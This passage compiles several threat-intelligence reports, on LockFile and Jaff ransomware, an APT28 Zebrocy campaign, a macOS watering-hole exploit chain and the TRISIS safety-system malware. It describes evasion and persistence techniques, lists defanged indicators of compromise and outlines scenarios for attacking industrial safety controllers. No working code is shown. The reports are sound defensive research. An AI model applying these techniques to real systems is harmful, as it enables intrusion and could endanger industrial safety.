to the localhost (i.e., itself), and this is simply intended as a five second sleep to allow the ransomware process to close itself before executing the DEL command to delete the ransomware binary. This means that after the ransomware attack, there is no ransomware binary for incident responders or antivirus software to find or clean up. Note: Like most human-operated ransomware nowadays, LockFile ransomware doesn’t need to contact a command-and-control (C2) server on the internet to operate. This means that it can encrypt data on machines that do not have internet access. Sophos would also like to acknowledge SophosLabs researchers Alex Vermaning and Gabor Szappanos for their contributions to this report.
# Jaff - New Ransomware From the Actors Behind the Distribution of Dridex, Locky, and Bart **May 11, 2017** After a two-week break in campaign activity, the actors behind the distribution of Locky and Dridex have introduced a new ransomware called “Jaff”. The group has introduced new ransomware before in similar fashion, specifically the Bart ransomware. While Bart was only seen several times in email and then spread via exploit kit (EK) campaigns, it remains to be seen how Jaff will be used. ## Analysis On May 11, Proofpoint researchers detected a large campaign involving tens of millions of messages with .pdf attachments containing embedded Microsoft Word documents with macros that, if enabled, download Jaff ransomware. The messages in this campaign purported to be: - From "Joan <joan.1234@[random domain]>" (random name, digits) with subject "Receipt to print" and attachment "Sheet_321.pdf" (random digits; also "Document" and "Receipt") - From "John <john.doe123@[random domain]>" (random name, digits) with subject "Document_1234567" (random digits; also "Copy", "File", "PDF", "Scan") and attachment "nm.pdf" To alert the victim that they are infected and that their files are encrypted, this ransomware creates two types of files, similar to many other types of ransomware. Specifically, it drops a ReadMe.bmp and ReadMe.html. After encryption, a “.jaff” extension is appended to the encrypted files. The list of file extensions that Jaff encrypts includes: .xlsx | .acd | .pdf | .pfx | .crt | .der | .cad | .dwg | .MPEG | .rar | .veg | .zip | .txt | .jpg | .doc | .wbk | .mdb | .vcf | .docx | .ics | .vsc | .mdf | .dsr | .mdi | .msg | .xls | .ppt | .pps | .obd | .mpd | .dot | .xlt | .pot | .obt | .htm | .html | .mix | .pub | .vsd | .png | .ico | .rtf | .odt | .3dm | .3ds | .dxf | .max | .obj | .7z | .cbr | .deb | .gz | .rpm | .sitx | .tar | .tar.gz | .zipx | .aif | .iff | .m3u | .m4a | .mid | .key | .vib | .stl | .psd | .ova | .xmod | .wda | .prn | .zpf | .swm | .xml | .xlsm | .par | .tib | .waw | .001 | .002 | .003 | .004 | .005 | .006 | .007 | .008 | .009 | .010 | .contact | .dbx | .jnt | .mapimail | .oab | .ods | .ppsm | .pptm | .prf | .pst | .wab | .1cd | .3g2 | .7ZIP | .accdb | .aoi | .asf | .asp | .aspx | .asx | .avi | .bak | .cer | .cfg | .class | .config | .css | .csv | .db | .dds | .fif | .flv | .idx | .js | .kwm | .laccdb | .idf | .lit | .mbx | .md | .mlb | .mov | .mp3 | .mp4 | .mpg | .pages | .php | .pwm | .rm | .safe | .sav | .save | .sql | .srt | .swf | .thm | .vob | .wav | .wma | .wmv | .xlsb | .aac | .ai | .arw | .c | .cdr | .cls | .cpi | .cpp | .cs | .db3 | .docm | .dotm | .dotx | .drw | .dxb | .eps | .fla | .flac | .fxg | .java | .m | .m4v | .pcd | .pct | .pl | .potm | .potx | .ppam | .ppsx | .ps | .pspimage | .r3d | .rw2 | .sldm | .sldx | .svg | .tga | .wps | .xla | .xlam | .xlm | .xltm | .xltx | .xlw | .act | .adp | .al | .bkp | .blend | .cdf | .cdx | .cgm | .cr2 | .dac | .dbf | .dcr | .ddd | .design | .dtd | .fdb | .fff | .fpx | .h | .iif | .indd | .jpeg | .mos | .nd | .nsd | .nsf | .nsg | .nsh | .odc | .odp | .oil | .pas | .pat | .pef | .ptx | .qbb | .qbm | .sas7bdat | .say | .st4 | .st6 | .stc | .sxc | .sxw | .tlg | .wad | .xlk | .aiff | .bin | .bmp | .cmt | .dat | .dit | .edb | .flvv | .gif | .groups | .hdd | .hpp | .log | .m2ts | .m4p | .mkv | .ndf | .nvram | .ogg | .ost | .pab | .pdb | .pif | .qed | .qcow | .qcow2 | .rvt | .st7 | .stm | .vbox | .vdi | .vhd | .vhdx | .vmdk | .vmsd | .vmx | .vmxf | .3fr | .3pr | .ab4 | .accde | .accdt | .ach | .acr | .adb | .srw | .st5 | .st8 | .std | .sti | .stw | .stx | .sxd | .sxg | .sxi | .sxm | .tex | .wallet | .wb2 | .wpd | .x11 | .x3f | .xis | .ycbcra | .qbw | .qbx | .qby | .raf | .rat | .raw | .rdb | .rwl | .rwz | .s3db | .sd0 | .sda | .sdf | .sqlite | .sqlite3 | .sqlitedb | .sr | .srf | .oth | .otp | .ots | .ott | .p12 | .p7b | .p7c | .pdd | .pem | .plus_muhd | .plc | .pptx | .psafe3 | .py | .qba | .qbr.myd | .ndd | .nef | .nk | .nop | .nrw | .ns2 | .ns3 | .ns4 | .nwb | .nx2 | .nxl | .nyf | .odb | .odf | .odg | .odm | .ord | .otg | .ibz | .iiq | .incpas | .jpe | .kc2 | .kdbx | .kdc | .kpdx | .lua | .mdc | .mef | .mfw | .mmw | .mny | .moneywell | .mrw.des | .dgc | .djvu | .dng | .drf | .dxg | .eml | .erbsql | .erd | .exf | .ffd | .fh | .fhd | .gray | .grey | .gry | .hbk | .ibank | .ibd | .cdr4 | .cdr5 | .cdr6 | .cdrw | .ce1 | .ce2 | .cib | .craw | .crw | .csh | .csl | .db_journal | .dc2 | .dcs | .ddoc | .ddrw | .ads | .agdl | .ait | .apj | .asm | .awg | .back | .backup | .backupdb | .bank | .bay | .bdb | .bgt | .bik | .bpw | .cdr3 | .as4 | .tif | .asp | .hdr The ransom note urges the user to visit a payment portal located on a Tor site in order to pay 1.79 bitcoins (over $3300 USD at current exchange rates). The payment portal is similar to the one used by Locky and Bart. Visually, the primary changes involve titles and headings: for example, “How to buy Decryptor Bart?” was changed to “How to buy jaff decryptor?”. While the payment portals look visually identical, the ransomware code remains to be analyzed and there are reports that it is different. ## Conclusion The actors behind the distribution of Dridex and Locky regularly try new document types, lures, exploits, and more to deliver their payloads more effectively. Similarly, after months of distributing Dridex in high-volume campaigns, they introduced Locky ransomware, which ultimately became the primary payload in the largest campaigns we have ever observed. Within months, they also brought Bart ransomware to the scene. While Bart never gained significant traction, the appearance of Jaff ransomware from the same group bears watching. We will be looking more closely at Jaff samples in the weeks to come and will continue to monitor its use in email campaigns and elsewhere.
# APT28 Delivers Zebrocy Malware Campaign Using NATO Theme as Lure **Executive Summary** On 9 August, QuoIntelligence detected an ongoing APT28 campaign, which likely started on 5 August. The malware used in the attack was the Zebrocy Delphi version. All the artifacts had very low Anti-Virus (AV) detection rates on VirusTotal when they were first submitted. At the time of the discovery, the C2 infrastructure hosted in France was still live. The campaign used NATO’s upcoming trainings as a lure. The campaign targeted a specific government body in Azerbaijan; however, it is likely that attackers also targeted NATO members or other countries involved in NATO exercises. Analysis revealed interesting correlations with the ReconHell/BlackWater attack, which we uncovered in August. As part of our responsible disclosure, we reported our findings to French authorities for taking down the C2, and to NATO for their awareness. ## Introduction On 9 August, QuoIntelligence disseminated a warning to its government customers about a new APT28 (aka Sofacy, Sednit, Fancy Bear, STRONTIUM, etc.) campaign targeting government bodies of NATO members (or countries cooperating with NATO). In particular, we found a malicious file uploaded to VirusTotal, which ultimately drops a Zebrocy malware and communicates with a C2 in France. After our discovery, we reported the malicious C2 to the French law enforcement as part of our responsible disclosure process. Zebrocy is a malware used by APT28 (also known as Sofacy), which was reported by multiple security firms in the last two years. Finally, our investigation concluded that the attack started on 5 August and targeted at least a government entity located in the Middle East. However, it is highly likely that NATO members also observed the same attack. ## Technical Analysis **File Name:** Course 5 – 16 October 2020.zipx **SHA256:** e6e19633ba4572b49b47525b5a873132d-feb432f075fbba29831f1bc59d5885d **First Submission to VT:** 2020-08-05T12:28:27 **First AV detection rate:** Really Low (3/61) At first glance, the sample seems to be a valid JPEG image file. In fact, if the file is renamed as a JPG, the Operating System will show the logo of the Supreme Headquarters Allied Powers Europe (SHAPE), which is NATO’s Allied Command Operations (ACO) located in Belgium. However, further analysis revealed the sample as having a Zip file concatenated. This technique works because JPEG files are parsed from the beginning of the file and some Zip implementations parse Zip files from the end of the file without looking at the signature in the front. The technique is also used by threat actors to evade AVs or other filtering systems since they might mistake the file for a JPEG and skip it. Interestingly, in order to trigger the decompression of the file on Windows after the user clicks on it, the following conditions need to be met: a) the file must be correctly named .zip(x); b) the file needs to be opened with WinRAR. The file will show an error message claiming it is corrupted if the targeted victim uses WinZip or the default Windows utility. After decompressing the appended ZIP file, the following two samples are dropped: - **Course 5 – 16 October 2020.exe (Zebrocy malware)** **SHA256:** aac3b1221366cf7e4421bdd555d0bc33d4b92d6f65fa58c1bb4d8474db883fec - **Course 5 – 16 October 2020.xls (Corrupted file)** **SHA256:** b45dc885949d29cba06595305923a0ed8969774dae995f0ce5b947b5ab5fe185 Considering the lure uses a NATO image, the attackers likely picked the filenames in order to leverage upcoming NATO courses in October 2020. Additionally, the Excel file (XLS) is corrupted and cannot be opened by Microsoft Excel; it contains what seems to be information about military personnel involved in the military mission “African Union Mission for Somalia.” The long list of information includes names, ranks, unit, arrival/leave dates, and more. To note, QuoIntelligence was not able to determine if the information contained in the file is legitimate or not. One of the hypotheses explaining the corrupted file is an intentional tactic of the attacker. The rationale could be that the attacker makes the user attempt to first open the XLS file, and then open the .exe with the same filename as a second try. The .exe file has a PDF icon, so if file extensions are not shown, targeted users might be lured into opening the executable. **File Name:** Course 5 – 16 October 2020.exe **SHA256:** aac3b1221366cf7e4421bdd555d0bc33d4b92d6f65fa58c1bb4d8474db883fec **First Submission to VT:** 2020-08-05T18:33:39 **First AV detection rate:** Really Low (9/70) The sample analyzed is a Delphi executable. Since 2015, multiple researchers have already covered Zebrocy Delphi versions in-depth. Interestingly, last Zebrocy observations seemed to suggest a discontinuity of the Delphi versions in favor of a new one written in Go language. ## Behavior Analysis Once executed, the sample copies itself into %AppData%\Roaming\Service\12345678\sqlservice.exe by adding 160 random bytes to the new file. This padding is used to evade hash-matching security controls since the dropped malware will always have a different file hash value. Next, the malware creates a new scheduled task, and it is executed with the /s parameter. The task runs regularly and tries to POST stolen data (e.g., screenshots) to hxxp://194.32.78[.]245/protect/get-upd-id[.]php. At first glance, the data seems to be obfuscated and encrypted. Another request looks like this: The heading number 12345678 (the original eight digits were redacted) seems to be constant, suggesting its use as a unique ID of the infected machine. Notably, the same number is also used by the malware while creating the folder that contains sqlservice.exe. Letting the sample talk to its actual C2 on the Internet did not change its actual behavior during our analysis. The malware sends POST requests about once per minute without getting a response back. Additionally, the server closes the connection after waiting for about 10 more seconds. It is possible that this unresponsive behavior is due to the C2 determining the infected machine as not interesting. Lastly, the network traffic generated to the C2 triggers the following Emerging Threats (ET) IDS rule: **ET TROJAN Zebrocy Screenshot Upload** (SID: 2030122) ## Victimology and Attribution QuoIntelligence concludes with medium-high confidence that the campaign targeted a specific government body, at least in Azerbaijan. Although Azerbaijan is not a NATO member, it closely cooperates with the North-Atlantic organizations and participates in NATO exercises. Further, the same campaign very likely targeted other NATO members or countries cooperating with NATO exercises. By analyzing the Tactics, Techniques and Procedures (TTPs), the targeting, and the theme used as a lure, we have high confidence in attributing this attack to the well-known APT28/Zebrocy TTPs disclosed by the security community in the last year. ## An Interesting Coincidence? Although we could not find any strong causation link yet or solid technical link between the two attacks, it should be noted the following points correlating with the ReconHellcat campaign we uncovered on August 11: - Both the compressed Zebrocy malware and the OSCE-themed lure used to drop the BlackWater backdoor were uploaded the same day, on 5 August. - Both samples were uploaded by the same user in Azerbaijan and are highly likely by the same organization. - Both attacks happened in the same timeframe. - OSCE and NATO are both organizations that have been targeted (directly or indirectly) by APT28 in the past. - The victimology we identified for the ReconHellcat campaign is in line with the one targeted by the Zebrocy attack (i.e., similar type of government bodies). The type of organizations targeted by both attacks is also in line with known APT28 victimology. - We assessed ReconHellcat as a high-capability APT group, like APT28. ## Citations 1. ESET, A1, April 2018, Sednit update: Analysis of Zebrocy 2. Palo Alto, B1, June 2018, Sofacy Group’s Parallel Attacks 3. Kaspersky, A1, October 2018, Shedding Skin – Turla’s Fresh Faces 4. Kaspersky, A1, January 2019, A Zebrocy Go Downloader 5. Kaspersky, A1, January 2019, GreyEnergy’s overlap with Zebrocy 6. Kaspersky, A1, June 2019, Zebrocy’s Multilanguage Malware ## Appendix I – IOCs - hxxp://194.32.78.245/protect/get-upd-id.php - Course 5 – 16 October 2020.zipx **SHA256:** 6e89e098816f3d353b155ab0f3377fe3eb3951f45f8c34c4a48c5b61cd8425aa - Course 5 – 16 October 2020.xls (Corrupted file) **SHA256:** b45dc885949d29cba06595305923a0ed8969774dae995f0ce5b947b5ab5fe185 - Course 5 – 16 October 2020.exe (Zebrocy malware) **SHA256:** aac3b1221366cf7e4421bdd555d0bc33d4b92d6f65fa58c1bb4d8474db883fec - Additional Zebrocy malware variants on VT - fae335a465bb9faac24c58304a199f3bf9bb1b0bd07b05b18e2be6b9e90d72e6 - eb81c1be62f23ac7700c70d866e84f5bc354f88e6f7d84fd65374f84e252e76b ## MITRE ATT&CK **TACTIC** | **TECHNIQUE** Execution | T1047: Windows Management Instrumentation Defense Evasion | T1140: Deobfuscate/Decode Files or Information Discovery | T1083: File and Directory Discovery | T1135: Network Share Discovery | T1120: Peripheral Device Discovery | T1057: Process Discovery | T1012: Query Registry | T1082: System Information Discovery | T1016: System Network Configuration Discovery | T1049: System Network Connections Discovery | T1033: System Owner/User Discovery | T1124: System Time Discovery Collection | T1560: Archive Collected Data | T1119: Automated Collection | T1113: Screen Capture Command and Control | T1105: Ingress Tool Transfer Exfiltration | T1041: Exfiltration Over C2 Channel Do you want to stay informed of cyber and geopolitical threats targeting your organization? Are you interested in receiving exclusive and unpublished intelligence? Get in touch! Join our Newsletter!
# Analyzing a Watering Hole Campaign Using macOS Exploits To protect our users, TAG routinely hunts for 0-day vulnerabilities exploited in-the-wild. In late August 2021, TAG discovered watering hole attacks targeting visitors to Hong Kong websites for a media outlet and a prominent pro-democracy labor and political group. The watering hole served an XNU privilege escalation vulnerability (CVE-2021-30869) unpatched in macOS Catalina, which led to the installation of a previously unreported backdoor. As is our policy, we quickly reported this 0-day to the vendor (Apple) and a patch was released to protect users from these attacks. Based on our findings, we believe this threat actor to be a well-resourced group, likely state-backed, with access to their own software engineering team based on the quality of the payload code. In this blog, we analyze the technical details of the exploit chain and share IOCs to help teams defend against similar style attacks. ## Watering Hole The websites leveraged for the attacks contained two iframes which served exploits from an attacker-controlled server—one for iOS and the other for macOS. ### iOS Exploits The iOS exploit chain used a framework based on Ironsquirrel to encrypt exploits delivered to the victim's browser. We did not manage to get a complete iOS chain this time, just a partial one where CVE-2019-8506 was used to get code execution in Safari. ### macOS Exploits The macOS exploits did not use the same framework as iOS ones. The landing page contained a simple HTML page loading two scripts—one for Capstone.js and another for the exploit chain. The parameter rid is a global counter which records the number of exploitation attempts. This number was in the 200s when we obtained the exploit chain. While the JavaScript starting the exploit chain checks whether visitors were running macOS Mojave (10.14) or Catalina (10.15) before proceeding to run the exploits, we only observed remnants of an exploit when visiting the site with Mojave but received the full non-encrypted exploit chain when browsing the site with Catalina. The exploit chain combined an RCE in WebKit exploiting CVE-2021-1789 which was patched on Jan 5, 2021, before discovery of this campaign and a 0-day local privilege escalation in XNU (CVE-2021-30869) patched on Sept 23, 2021. #### Remote Code Execution (RCE) Loading a page with the WebKit RCE on the latest version of Safari (14.1), we learned the RCE was an n-day since it did not successfully trigger the exploit. To verify this hypothesis, we ran git bisect and determined it was fixed in this commit. #### Sandbox Escape and Local Privilege Escalation (LPE) It was interesting to see the use of Capstone.js, a port of the Capstone disassembly framework, in an exploit chain as Capstone is typically used for binary analysis. The exploit authors primarily used it to search for the addresses of dlopen and dlsym in memory. Once the embedded Mach-O is loaded, the dlopen and dlsym addresses found using Capstone.js are used to patch the Mach-O loaded in memory. With the Capstone.js configured for X86-64 and not ARM, we can also derive the target hardware is Intel-based Macs. ### Embedded Mach-O After the WebKit RCE succeeds, an embedded Mach-O binary is loaded into memory, patched, and run. Upon analysis, we realized this binary contained code which could escape the Safari sandbox, elevate privileges, and download a second stage from the C2. Analyzing the Mach-O was reminiscent of a CTF reverse engineering challenge. It had to be extracted and converted into binary from a Uint32Array. Then the extracted binary was heavily obfuscated with a relatively tedious encoding mechanism—each string is XOR encoded with a different key. Fully decoding the Mach-O was necessary to obtain all the strings representing the dynamically loaded functions used in the binary. There were a lot of strings and decoding them manually would have taken a long time so we wrote a short Python script to make quick work of the obfuscation. The script parsed the Mach-O at each section where the strings were located, then decoded the strings with their respective XOR keys, and patched the binary with the resulting strings. Once we had all of the strings decoded, it was time to figure out what capabilities the binary had. There was code to download a file from a C2 but we did not come across any URL strings in the Mach-O so we checked the JavaScript and saw there were two arguments passed when the binary is run—the URL for the payload and its size. After downloading the payload, it removes the quarantine attribute of the file to bypass Gatekeeper. It then elevated privileges to install the payload. ### N-day or 0-day? Before further analyzing how the exploit elevated privileges, we needed to figure out if we were dealing with an N-day or a 0-day vulnerability. An N-day is a known vulnerability with a publicly available patch. Threat actors have used N-days shortly after a patch is released to capitalize on the patching delay of their targets. In contrast, a 0-day is a vulnerability with no available patch which makes it harder to defend against. Despite the exploit being an executable instead of shellcode, it was not a standalone binary we could run in our virtual environment. It needed the address of dlopen and dlsym patched after the binary was loaded into memory. These two functions are used in conjunction to dynamically load a shared object into memory and retrieve the address of a symbol from it. They are the equivalent of LoadLibrary and GetProcAddress in Windows. To run the exploit in our virtual environment, we decided to write a loader in Python which did the following: - Load the Mach-O in memory - Find the address of dlopen and dlsym - Patch the loaded Mach-O in memory with the address of dlopen and dlsym - Pass our payload URL as a parameter when running the Mach-O For our payload, we wrote a simple bash script which runs id and pipes the result to a file in /tmp. The result of the id command would tell us whether our script was run as a regular user or as root. Having a loader and a payload ready, we set out to test the exploit on a fresh install of Catalina (10.15) since it was the version in which we were served the full exploit chain. The exploit worked and ran our bash script as root. We updated our operating system with the latest patch at the time (2021-004) and tried the exploit again. It still worked. We then decided to try it on Big Sur (11.4) where it crashed and gave us the following exception. The exception indicates that Apple added generic protections in Big Sur which rendered this exploit useless. Since Apple still supports Catalina and pushes security updates for it, we decided to take a deeper look into this exploit. ### Elevating Privileges to Root The Mach-O was calling a lot of undocumented functions as well as XPC calls to mach_msg with a MACH_SEND_SYNC_OVERRIDE flag. This looked similar to an earlier in-the-wild iOS vulnerability analyzed by Ian Beer of Google Project Zero. Beer was able to quickly recognize this exploit as a variant of an earlier port type confusion vulnerability he analyzed in the XNU kernel (CVE-2020-27932). Furthermore, it seems this exact exploit was presented by Pangu Lab in a public talk at zer0con21 in April 2021 and Mobile Security Conference (MOSEC) in July 2021. In exploiting this port type confusion vulnerability, the exploit authors were able to change the mach port type from IKOT_NAMED_ENTRY to a more privileged port type like IKOT_HOST_SECURITY allowing them to forge their own sec_token and audit_token, and IKOT_HOST_PRIV enabling them to spoof messages to kuncd. ### MACMA Payload After gaining root, the downloaded payload is loaded and run in the background on the victim's machine via launchtl. The payload seems to be a product of extensive software engineering. It uses a publish-subscribe model via a Data Distribution Service (DDS) framework for communicating with the C2. It also has several components, some of which appear to be configured as modules. For example, the payload we obtained contained a kernel module for capturing keystrokes. There are also other functionalities built-in to the components which were not directly accessed from the binaries included in the payload but may be used by additional stages which can be downloaded onto the victim's machine. Notable features for this backdoor include: - Victim device fingerprinting - Screen capture - File download/upload - Executing terminal commands - Audio recording - Keylogging ## Conclusion Our team is constantly working to secure our users and keep them safe from targeted attacks like this one. We continue to collaborate with internal teams like Google Safe Browsing to block domains and IPs used for exploit delivery and industry partners like Apple to mitigate vulnerabilities. We are appreciative of Apple’s quick response and patching of this critical vulnerability. For those interested in following our in-the-wild work, we will soon publish details surrounding another, unrelated campaign we discovered using two Chrome 0-days (CVE-2021-37973 and CVE-2021-37976). That campaign is not connected to the one described in today’s post. ## Related IOCs ### Delivery URLs - http://103[.]255[.]44[.]56:8372/6nE5dJzUM2wV.html - http://103[.]255[.]44[.]56:8371/00AnW8Lt0NEM.html - http://103[.]255[.]44[.]56:8371/SxYm5vpo2mGJ?rid=<redacted> - http://103[.]255[.]44[.]56:8371/iWBveXrdvQYQ?rid=?rid=<redacted> - https://appleid-server[.]com/EvgSOu39KPfT.html - https://www[.]apple-webservice[.]com/7pvWM74VUSn2.html - https://appleid-server[.]com/server.enc - https://amnestyhk[.]org/ss/defaultaa.html - https://amnestyhk[.]org/ss/4ba29d5b72266b28.html - https://amnestyhk[.]org/ss/mac.js ### JavaScript - cbbfd767774de9fecc4f8d2bdc4c23595c804113a3f6246ec4dfe2b47cb4d34c (capstone.js) - bc6e488e297241864417ada3c2ab9e21539161b03391fc567b3f1e47eb5cfef9 (mac.js) - 9d9695f5bb10a11056bf143ab79b496b1a138fbeb56db30f14636eed62e766f8 ### Sandbox Escape / LPE - 8fae0d5860aa44b5c7260ef7a0b277bcddae8c02cea7d3a9c19f1a40388c223f - df5b588f555cccdf4bbf695158b10b5d3a5f463da7e36d26bdf8b7ba0f8ed144 ### Backdoor - cf5edcff4053e29cb236d3ed1fe06ca93ae6f64f26e25117d68ee130b9bc60c8 (2021 sample) - f0b12413c9d291e3b9edd1ed1496af7712184a63c066e1d5b2bb528376d66ebc (2019 sample) ### C2 - 123.1.170.152 - 207.148.102.208
# TRISIS Malware ## Analysis of Safety System Targeted Malware ### Executive Summary In mid-November 2017, the Dragos, Inc. team discovered ICS-tailored malware deployed against at least one victim in the Middle East. The team identifies this malware as TRISIS because it targets Schneider Electric’s Triconex safety instrumented system (SIS), enabling the replacement of logic in final control elements. TRISIS is highly targeted and likely does not pose an immediate threat to other Schneider Electric customers, let alone other SIS products. Importantly, the malware leverages no inherent vulnerability in Schneider Electric products. However, this capability, methodology, and tradecraft in this very specific event may now be replicated by other adversaries and thus represents an addition to industrial asset owner and operators’ threat models. ### Why Are We Publishing This? The Dragos team notified our ICS WorldView customers immediately after validating the malicious nature of the software. Following that notification, the team sent a notification to the U.S. Department of Homeland Security, Department of Energy, Electric Sector Information Sharing Analysis Center (E-ISAC), and partners. We broadcasted to our customers and partners that we would not be releasing a public report until the information became public through other channels. It is Dragos’ approach around industrial threats to never be the first to identify new threats publicly; infrastructure security is a highly sensitive matter, and the more time the infrastructure community has to address new challenges without increased public attention is ideal. Dragos’ focus is on keeping customers informed and ideally keeping sensitive information out of the public where the narrative can be quickly lost and sensationalized. However, once information about threats or new capabilities are made public, it is Dragos’ approach to follow up with public reports that capture the nuance to avoid hype while reinforcing lessons learned and advice to the industry. ### Key Take-Aways - The malware targets Schneider Electric’s Triconex safety instrumented system (SIS), thus the name choice of TRISIS for the malware. - TRISIS has been deployed against at least one victim. - The victim identified so far is in the Middle East, and currently, there is no intelligence to support that there are victims outside of the Middle East. - The Triconex line of safety systems is leveraged in numerous industries; however, each SIS is unique, and to understand process implications would require specific knowledge of the process. This means that this is not a highly scalable attack that could be easily deployed across numerous victims without significant additional work. - The Triconex SIS Controller was configured with the physical keyswitch in ‘program mode’ during operation. If the controller is placed in Run mode (program changes not permitted), arbitrary changes in logic are not possible, substantially reducing the likelihood of manipulation. - Although the attack is not highly scalable, the tradecraft displayed is now available as a blueprint to other adversaries looking to target SIS and represents an escalation in the type of attacks seen to date as it is specifically designed to target the safety function of the process. - Compromising the security of an SIS does not necessarily compromise the safety of the system. Safety engineering is a highly specific skill set and adheres to numerous standards and approaches to ensure that a process has a specific safety level. As long as the SIS performs its safety function, the compromising of its security does not represent a danger as long as it fails safe. - It is not currently known what exactly the safety implications of TRISIS would be. Logic changes on the final control element imply that there could be risk to safety as set points could be changed for when the safety system would or would not take control of the process in an unsafe condition. ### SIS Background Safety systems, often identified as Safety Instrumented Systems (SIS), maintain safe conditions if other failures occur. It is not currently known what the specific safety implications of TRISIS would be in a production environment. However, alterations to logic on the final control element imply that there could be a risk to operational safety. Set points on the remainder of the process control system could be changed to conditions that would result in the process shifting to an unsafe condition. While TRISIS appears to be focused, ICS owners and operators should view this event as an expansion of ICS asset targeting to previously untargeted SIS equipment. Although many aspects of TRISIS are unique for the environment and technology targeted, the general methodology provides an example for ICS defenders to utilize when future, subsequent SIS-targeted operations emerge. Safety controllers are designed to provide robust safety for critical processes. Typically, safety controllers are deployed to provide life-saving stopping logic. These may include mechanisms to stop rotating machinery when a dangerous condition is detected or stop inflow or heating of gases when a dangerous temperature, pressure, or other potentially life-threatening condition exists. Safety controllers operate independently of normal process control logic systems and are focused on detecting and preventing dangerous physical events. Safety controllers are most often connected to actuators, which will make it impossible for normal process control systems to continue operating. This is by design since the normal process control system’s continued operation would feed into the life-threatening situation that has been detected. Safety controllers are generally a type of programmable logic controller (PLC). They allow engineers to configure logic, typically in IEC-61131 logic. While on their face they are similar to PLCs, safety controllers have a higher standard of design, construction, and deployment. They are designed to be more accurate and less prone to failure. Both the hardware and the software for these controllers must be designed and built to the Safety Integrity Level (SIL) blanket of standards (IEC-61508). This includes the use of error-correcting memories and redundant components and design that favors failing an operation safely over continuing operations. Each SIS is deployed for specific process requirements after a process hazard analysis (PHA) identifies the needs for a specific industrial environment. In this way, the systems are unique in their implementation even when the vendor technology remains the same. Safety controller components have more flexibility than a typical PLC. A safety controller’s output cards will usually have firmware and a configuration, which allows the output card to fail into a safe state should the main processors fail entirely. This may even include failing outputs to a known-safe state in the event that the safety controller loses power. Many safety controllers offer redundancy, in the form of redundant processor modules. In the case of the Triconex system, the controller utilizes three separate processor modules. The modules all run the same logic, and each module is given a vote on the output of its logic function blocks on each cycle. If one of the modules offers a different set of outputs from the other two, that module is considered faulted and is automatically removed from service. This prevents a module that is experiencing an issue such as an internal transient or bit-flip from causing an improper safety decision. Safety controller architecture has been debated in the industry. Many end users opt to use the same control LAN for both systems. LOGIIC (Linking the Oil and Gas Industry to Improve Cybersecurity) has identified three distinct integration strategies of SIS with control systems networks. In the case of attacks such as TRISIS, these architectures can be reduced to two, as the security implications of two identified architectures remain the same. End users decide the level of risk that they are willing to accept with their safety system and use this to determine how tightly they couple their safety system with their DCS (Distributed Control System). A tightly-coupled architecture can provide cost savings since data from an SIS controller may be incorporated into general operator HMI systems. In addition, network wiring and support are shared between the systems. Sensor data may also be shared, in both directions, between the normal process controllers and the SIS controllers. However, a downside to such an architecture is that an attacker who gains access to the Control LAN systems may attack the SIS directly. ### Attack Scenarios **Attack Scenario #1: Plant Shutdown** The most likely and operationally easy impact scenario from SIS manipulation or attack is a plant shutdown – and not necessarily due to follow-on physical damage as the result of SIS alteration. There are two general methods of achieving an operational ‘mission kill’ without physically impacting any element of the target environment: 1. Create operational uncertainty. By altering an SIS where some noticeable effect is produced, even if only recognizing a configuration change or tripping a safety fault where no corresponding physical condition is observed, doubt is introduced into operations as to safety system accuracy and reliability. While the problem is investigated and troubleshooting takes place, operations will likely be significantly reduced if not outright stopped. 2. Trip safety ‘fail-safes’ to halt operations. Changing underlying logic to enter safety-preserving conditions during normal operations can trip SIS-managed equipment to enter ‘fail-safe’ modes when such conditions are not actually present. This will lead to a likely halt or stop to the affected process, and likely bring about a much longer shutdown as this scenario rapidly transitions to the item outlined in no. 1 above due to extensive troubleshooting. Some level of general and plant-specific knowledge is required in order to execute this attack, but the level of knowledge is not as extensive as more fine-toothed, subtle changes to SIS configuration. Simply introducing any noticeable change in the system – which may, through unintended follow-on effects, result in a much more serious issue – results at least in case #1. A slightly more refined approach focusing on specific logic and devices managed can be used to create case #2. Alternatively, an adversary can attempt to leverage insecure authentication to pull existing configuration information from the SIS and simply reverse values to cause safety faults where none exist. **Attack Scenario #2: Unsafe Physical State** Likely the most obvious and assumed attack scenario is creating an unsafe physical condition within the target environment resulting in physical damage to the environment. While this may be the most obvious conceptual attack, the requirements for actually executing make this scenario significantly more difficult – and thus less likely in reality – than scenario #1. Ensuring an SIS alteration results in physical damage or destruction requires knowledge of the underlying physical processes and controls managed by the targeted SIS. More specifically, knowledge of specific process points where removing a logical fail-safe at the SIS will result in an uncontrolled, damaging physical state – with no complementary physical safety fail-safe in place to prevent damage. The amount of knowledge required specific to the SIS and process installation targeted is significant and likely not possible to obtain through purely network espionage means. If even possible, the amount of time, effort, and resources required to obtain necessary environment information; develop and design software tailored to the target environment; and finally, to maintain access and avoid detection throughout these steps all require a lengthy, highly skilled intrusion. While the above is certainly not impossible – in many ways, it is analogous to the efforts required to launch CRASHOVERRIDE – the combined requirements make this a less-likely scenario attainable only by highly-skilled, well-resourced adversaries with lengthy timelines. Typical operations safety layering, where SIS forms only part (albeit a large one) in overall safety management, should work to mitigate the worst-case damage a destruction scenario in most instances. ### SIS Defense Status In theory, SIS equipment is isolated from other operations within the ICS environment, and network connectivity is either extremely limited or non-existent. In practice, operational and convenience concerns often result in more connectivity with other ICS devices than ideal, or that ICS operators may even be aware of. An operator may choose to connect a safety controller to their wider plant network in order to retrieve data from the controller to facilitate business intelligence and process control information gathering. This carries the risk that the safety controller may be affected by malicious network activity or accessible to an intruder that has penetrated the ICS network. Safety controllers generally have the same security profile as a standard PLC. Controller projects offer password protection; however, projects typically contain two backdoor accounts by default that the user has no control over. While suboptimal from a security perspective, such accounts are vital to ensure administrator-level access and control over the device in an emergency situation. A reverse engineer with moderate skill may uncover these accounts and use them to gain unauthorized access to the project and to the safety controller. While common to many SIS devices, the newer versions of Schneider Electric’s Triconex units are not susceptible to this attack. The older controller (which was deployed at the victim site) is protected by following the deployment recommendations to prevent arbitrary changes in SIS functionality via a physical control. Newer model controllers removed the backdoor accounts entirely and added X.509 mutual authentication to the controllers. Examining SIS devices generally, backdoor accounts cannot typically be disabled due to the operational need for the reasons outlined above. SIS network isolation is critical in preventing abuse of this feature in vulnerable devices; it is appropriate to monitor connections to such systems more so than blocking activity without an understanding of the impact. ### TRISIS Capabilities TRISIS is a Stage 2 ICS Attack capability, as defined by the ICS Cyber Kill Chain. Given its design and assessed use, TRISIS has no role or applicability to IT environments and is a focused ICS effects tool. As a result, TRISIS’ use and deployment requires that an adversary has already achieved success in Stage 1 of the ICS 